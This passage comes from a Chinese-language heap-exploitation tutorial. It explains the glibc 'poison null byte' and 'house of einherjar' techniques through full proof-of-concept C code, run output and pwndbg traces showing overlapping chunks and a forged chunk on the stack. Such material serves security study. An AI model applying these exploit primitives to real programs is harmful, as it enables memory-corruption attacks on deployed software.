uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
fprintf(stderr, "We allocate 0x100 bytes for 'a'.n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %pn", a);
int real_a_size = malloc_usable_size(a);
//我们想溢出'a'的话,我们需要知道'a'的真实大小
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#xn", real_a_size);
//chunk size属性的最小的有效字节不能是0x00,最小的也必须是0x10,因为chunk的size包括请求的量加上元数据所需的大小(也就是我们的size和pre_size然后空间复用
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %pn", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %pn", c);
barrier = malloc(0x100);
//c我们分配了barrier,这样我们free c的时候就不会被合并到top chunk里了,这个burrier并不是必须的,只不过是为了减少可能产生的问题
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.n"
"The barrier is not strictly necessary, but makes things less confusingn", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
//在新版本的glibc中添加了新的check即: size==prev_next(next_chunk)
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
//这个被新增的check要求我们允许b中有null指针而不仅仅是c
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
//在新版本的glibc中我们需要让我们更新的size包含b自身去pass 'chunksize(P)!=prev_size(next_chunk(P))'
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'n");
//我们将此位置设为0x200,因为0x200==(0x211&0xff00)
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
//这个是b.size的值在被null字节覆盖之后的值
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
//这个技术通过覆盖一个free chunk的元数据来生效
// this technique works by overwriting the size metadata of a free chunk
free(b);
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_usen");
//我们通过用一个null字节来溢出a来修改b的元数据
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lxn",*c_prev_size_ptr);
//这个malloc将会在b上调用unlink
// This malloc will result in a call to unlink on the chunk where b was.
//新增的chunk,如果没有像之前那样被正确处理,就会检测堆是否被损坏了
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
fprintf(stderr, "b1: %pn",b1);
//现在我们malloc b1,他将会被放在b的地方,此时,c的prev_size将会被更新
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lxn",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lxn",*(((uint64_t*)c)-4));
//我们malloc b2作为我们的攻击目标
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
fprintf(stderr, "b2: %pn",b2);
memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:n%sn",b2);
//现在我们释放b1和c,这将会合并b1和c(无视b2)
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').n");
free(b1);
free(c);
//现在我们malloc d来和b2重叠
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.n");
d = malloc(0x300);
fprintf(stderr, "d: %pn",d);
fprintf(stderr, "Now 'd' and 'b2' overlap.n");
memset(d,'D',0x300);
fprintf(stderr, "New b2 content:n%sn",b2);
fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.n");
}
### 运行结果
Welcome to poison null byte 2.0!
Tested in Ubuntu 14.04 64bit.
This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x100 bytes for 'a'.
a: 0x241a010
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0x241a120
c: 0x241a330
We allocate a barrier at 0x241a440, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0x210
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
b1: 0x241a120
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
We malloc 'b2', our 'victim' chunk.
b2: 0x241a230
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x241a120
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.
### 关键代码调试
本例9个断点分别断在:
40 barrier = malloc(0x100);
► 41 fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.n"
42 "The barrier is not strictly necessary, but makes things less confusingn", barrier);
56 // this technique works by overwriting the size metadata of a free chunk
► 57 free(b);
58
► 59 fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
62 a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
► 63 fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
77 b1 = malloc(0x100);
78
► 79 fprintf(stderr, "b1: %pn",b1);
87 b2 = malloc(0x80);
► 88 fprintf(stderr, "b2: %pn",b2);
95 free(b1);
96 free(c);
97
► 98 fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.n");
99 d = malloc(0x300);
► 100 fprintf(stderr, "d: %pn",d);
103 memset(d,'D',0x300);
104
► 105 fprintf(stderr, "New b2 content:n%sn",b2);
下面我们开始调试
首先是分配了chunk a,b,c,barrier
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 529,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603320 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603430 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603540 PREV_INUSE {
prev_size = 0,
size = 133825,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后程序修改了b+0x1f0位为0x200,也就是
pwndbg> p/x 0x603120+0x1f0
$4 = 0x603310
pwndbg> x/10gx 0x603310
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
好了,下面我们继续,此时程序已经释放了b
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 529,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603320 {
prev_size = 528,
size = 272,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603430 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603540 PREV_INUSE {
prev_size = 0,
size = 133825,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty
之后,程序将a[real_a_size]修改为了0x00,也就是将我们的b的size改为了0x200,(为了通过前文所说的check)此时的堆
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 {
prev_size = 0,
size = 512,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603310 {
prev_size = 512,
size = 0,
fd = 0x210,
bk = 0x110,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty
可以看到,随着b的size被覆盖为了0x200,c的pre_size也变成了0x200
之后我们再次调用malloc的时候,因为b被视为为free态,此时会调用unlink
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x7ffff7dd1d68 <main_arena+584>,
bk = 0x7ffff7dd1d68 <main_arena+584>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603220 PREV_INUSE {
prev_size = 0,
size = 241,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603310 {
prev_size = 240,
size = 0,
fd = 0x210,
bk = 0x110,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
此时我们的b1已经被放到了原本b的位置
pwndbg> p b1-0x10
$15 = (uint8_t *) 0x603110 ""
pwndbg> p b-0x10
$17 = (uint8_t *) 0x603110 ""
pwndbg>
然后系统又malloc了b2
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x7ffff7dd1d68 <main_arena+584>,
bk = 0x7ffff7dd1d68 <main_arena+584>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603220 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 FASTBIN {
prev_size = 0,
size = 97,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603310 {
prev_size = 96,
size = 0,
fd = 0x210,
bk = 0x110,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p b2-0x10
$19 = (uint8_t *) 0x603220 ""
可以看到我们的b2也在原本b所在的位置上
随后我们释放b1和c,程序会直接无视b2合并b1和c,因为c的pre_size为
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 801,
fd = 0x6032b0,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603430 {
prev_size = 800,
size = 272,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603540 PREV_INUSE {
prev_size = 0,
size = 133825,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x6032b0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg>
可以看到程序将b1和c合并了,大小为0x321,此时我们申请d,就会导致d和b2的overlapping
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 801,
fd = 0x7ffff7dd1e88 <main_arena+872>,
bk = 0x7ffff7dd1e88 <main_arena+872>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603430 PREV_INUSE {
prev_size = 800,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603540 PREV_INUSE {
prev_size = 0,
size = 133825,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p d-0x10
$36 = (uint8_t *) 0x603110 ""
pwndbg> p b2-0x10
$37 = (uint8_t *) 0x603220 "2001"
此时b2的值为
pwndbg> x/10gx b2-0x10
0x603220: 0x0000000000000110 0x0000000000000090
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
然后我们给d赋值,之后b2的值变成了
pwndbg> x/10gx b2-0x10
0x603220: 0x4444444444444444 0x4444444444444444
0x603230: 0x4444444444444444 0x4444444444444444
0x603240: 0x4444444444444444 0x4444444444444444
0x603250: 0x4444444444444444 0x4444444444444444
0x603260: 0x4444444444444444 0x4444444444444444
可以看到我们的b2已经被修改了
### 总结
程序首先malloc了a(0x100),b(0x200),c(0x100),barrier(0x100)四个chunk
随后为了绕过check,程序将b+0x1f0的位置设为了0x200
紧接着程序Free掉了b并将b的size设为了0x200(原本是0x211)
随后程序malloc了b1(0x100),因为b是被Free掉的,因此b1就会被被放到b的部分,而b做了一个unlink,一分两半
随后程序又malloc了b2(0x80),b2依旧是所属b的
之后程序为了方便看效果,将b2填满了’B’
最后程序free掉了b1和c,因为c的pre_size为0x210,因此程序就会将b1和c合并,因为b2位于b1和c之间,虽然b2其实并未被free,但是我们已经可以申请到b2的内存了
此时程序malloc了d(0x300),系统就会把b1和c合并后的大chunk给用户,此时d就申请到了原本b开始到b+0x310结束的内存,将b2包了起来
构成了overlapping,此时给d赋值为”D”,可以看到b2也被覆盖成了”D” 🙂
## house of einherjar
### 序
这个利用技术由Hiroki
Matsukuma提出,具体内容可以看[链接](https://www.slideshare.net/codeblue_jp/cb16-matsukuma-en-68459606)
这个技术也就是利用free的后向合并把top chunk设为我们伪造的chunk地址来强制malloc分配到我们伪造的地址
### 源代码
同样的,我这里删了一点作者的话并加了注释
作者的话:
感谢st4g3r公布这个技术
这个攻击技巧使用了off-by-one溢出漏洞，用一个 null字节来通过malloc控制指针
并且这个技术比poision null byte更强，但是也有一个附加条件就是需要泄漏堆
在ubuntu16.04 64bits上测试，可以在你有一个off-by-null漏洞时使用
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
uint8_t* a;
uint8_t* b;
uint8_t* d;
fprintf(stderr, "nWe allocate 0x38 bytes for 'a'n");
a = (uint8_t*) malloc(0x38);
fprintf(stderr, "a: %pn", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#xn", real_a_size);
// create a fake chunk
//我们可以在任意一个我们想要的地方来创建一个fake chunk,本例中我们将在栈上创建这个fake chunk
fprintf(stderr, "nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stackn");
//当然，你可以在heap或者bss段任一个你知道地址的地方创建fake chunk
fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its addressn");
//我们将我们的fwd和bck指针指向fake_chunk来pass unlink的checks
fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checksn");
//尽管有的时候我们可以在这儿使用unsafe unlink技术
fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
fprintf(stderr, "Our fake chunk at %p looks like:n", fake_chunk);
fprintf(stderr, "prev_size (not used): %#lxn", fake_chunk[0]);
fprintf(stderr, "size: %#lxn", fake_chunk[1]);
fprintf(stderr, "fwd: %#lxn", fake_chunk[2]);
fprintf(stderr, "bck: %#lxn", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lxn", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lxn", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
fprintf(stderr, "nWe allocate 0xf8 bytes for 'b'.n");
fprintf(stderr, "b: %pn", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
//这个技术通过覆盖chunk的size以及pre_inuse位来工作
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
fprintf(stderr, "nb.size: %#lxn", *b_size_ptr);
fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
//如果b的size是0x100的倍数，那么就很简单了，连size都不用改，直接修改他的pre_inuse位就好啦
fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bitn");
//如果已经被修改了，我们将在b内需要一个fake chunk，它将尝试合并下一个块
fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunkn");
// Write a fake prev_size to the end of a
fprintf(stderr, "nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunkn", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lxn", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//修改fake chunk的size去反应b的新的prev_size
//Change the fake chunk's size to reflect b's new prev_size
fprintf(stderr, "nModify fake chunk's size to reflect b's new prev_sizen");
fake_chunk[1] = fake_size;
//free b，之后他就会和我们的fake chunk合并了
// free b and it will consolidate with our fake chunk
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not setn");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)n", fake_chunk[1]);
//如果我们在free b之前分配另一个chunk,我们需要做两件事
//if we allocate another chunk before we free b we will need to
//do two things:
//1)我们将需要调整我们的fake chunk的size来使得fake_chunk+fake_chunk的size指针在我们所能控制的区域内
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2)我们将需要在我们控制的地址写我们的fake chunk的size
//2) we will need to write the size of our fake chunk
//at the location we control.
//在做了这两件事情之后，当unlink被调用的时候，我们的Fake chunk就将通过check
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//否则我们需要确定我们的fake chunk可以抵御荒野？？？(荒野这里有点迷离
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
//现在我们再调用malloc的时候，返回的时候就该是我们fake chunk的地址了
fprintf(stderr, "nNow we can call malloc() and it will begin in our fake chunkn");
d = malloc(0x200);
fprintf(stderr, "Next malloc(0x200) is at %pn", d);
}
### 程序运行结果
Welcome to House of Einherjar!
Tested in Ubuntu 16.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x38 bytes for 'a'
a: 0x1767010
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38
We create a fake chunk wherever we want, in this case we'll create the chunk on the stack
However, you can also create the chunk in the heap or the bss, as long as you know its address
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
(although we could do the unsafe unlink technique here in some scenarios)
Our fake chunk at 0x7ffc0cadecb0 looks like:
prev_size (not used): 0x100
size: 0x100
fwd: 0x7ffc0cadecb0
bck: 0x7ffc0cadecb0
fwd_nextsize: 0x7ffc0cadecb0
bck_nextsize: 0x7ffc0cadecb0
We allocate 0xf8 bytes for 'b'.
b: 0x1767050
b.size: 0x101
b.size is: (0x100) | prev_inuse = 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0x1767040 - 0x7ffc0cadecb0 = 0xffff8003f4c88390
Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
Our fake chunk size is now 0xffff8003f4ca9351 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x200) is at 0x7ffc0cadecc0
### 关键部分调试
断点如下
24 a = (uint8_t*) malloc(0x38);
► 25 fprintf(stderr, "a: %pn", a);
26
41 fake_chunk[3] = (size_t) fake_chunk; // bck
42 fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
43 fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
► 44
45
57 b = (uint8_t*) malloc(0xf8);
► 58 int real_b_size = malloc_usable_size(b);
69 a[real_a_size] = 0;
► 70 fprintf(stderr, "b.size: %#lxn", *b_size_ptr);
79 size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
► 80 fprintf(stderr, "Our fake prev_size will be %p - %p = %#lxn", b-sizeof(size_t)*2, fake_chunk, fake_size);
► 81 *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
83 //Change the fake chunk's size to reflect b's new prev_size
84 fprintf(stderr, "nModify fake chunk's size to reflect b's new prev_sizen");
► 85 fake_chunk[1] = fake_size;
89 free(b);
► 90 fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)n", fake_chunk[1]);
104 d = malloc(0x200);
► 105 fprintf(stderr, "Next malloc(0x200) is at %pn", d);
好了，下面直接开始调试，首先是chunk a
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603040 PREV_INUSE {
prev_size = 0,
size = 135105,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后在我们给我们的fake_chunk赋值之后
pwndbg> p/x fake_chunk
$2 = {0x100, 0x100, 0x7fffffffe600, 0x7fffffffe600, 0x7fffffffe600, 0x7fffffffe600}
也就是
$3 = {
prev_size = 256,
size = 256,
fd = 0x7fffffffe600,
bk = 0x7fffffffe600,
fd_nextsize = 0x7fffffffe600,
bk_nextsize = 0x7fffffffe600
}
随后程序malloc了b
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603040 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603140 PREV_INUSE {
prev_size = 0,
size = 134849,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后给a[real_a_size]赋0x00,也就是
pwndbg> x/10gx 0x603048
0x603048: 0x0000000000000100 0x0000000000000000
0x603058: 0x0000000000000000 0x0000000000000000
0x603068: 0x0000000000000000 0x0000000000000000
0x603078: 0x0000000000000000 0x0000000000000000
0x603088: 0x0000000000000000 0x0000000000000000
之后设置fake_size为b和fake_chunk的差值
pwndbg> p/x b-0x10
$16 = 0x603040
pwndbg> p/x &fake_chunk
$17 = 0x7fffffffe600
pwndbg> p/x 0x603040-0x7fffffffe600
$18 = 0xffff800000604a40
pwndbg>
之后程序将b的pre_size设为了fake_size
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603040 {
prev_size = 18446603336227506752,
size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603140 PREV_INUSE {
prev_size = 0,
size = 134849,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p/x 18446603336227506752
$30 = 0xffff800000604a40
一切就绪之后,程序将fake_chunk的szie设为了fake_chunk
pwndbg> p/x fake_chunk
$32 = {0x100, 0xffff800000604a40, 0x7fffffffe600, 0x7fffffffe600, 0x7fffffffe600, 0x7fffffffe600}
也就是
$34 = {
prev_size = 0x100,
size = 0xffff800000604a40,
fd = 0x7fffffffe600,
bk = 0x7fffffffe600,
fd_nextsize = 0x7fffffffe600,
bk_nextsize = 0x7fffffffe600
}
现在我们再free b,程序通过pre_size就会去找我们的fake
chunk,又发现我们的fake_chunk也是free态,因此就会与我们的fake_chunk合并,现在我们再malloc的话
pwndbg> p/x d-0x10
$39 = 0x7fffffffe600
## 总结
程序首先malloc了chunk a(0x38)
之后呢在栈上创建了fake chunk,并且伪造了fake chunk的结构
随后程序又malloc了chunk b(0xf8),b和top chunk相邻
我们计算量b和fake chunk的地址差后,将b的pre_size设为了我们的差值,并把b的pre_inuse置0,之后free掉了b
此时b就通过pre_size找到了我们的fake chunk并且与我们的fake chunk合并了,现在我们再申请一个chunk,就会从fake
chunk那分配了
over~ | 社区文章 |
# 利用被入侵的路由器获取网络流量
|
##### 译文声明
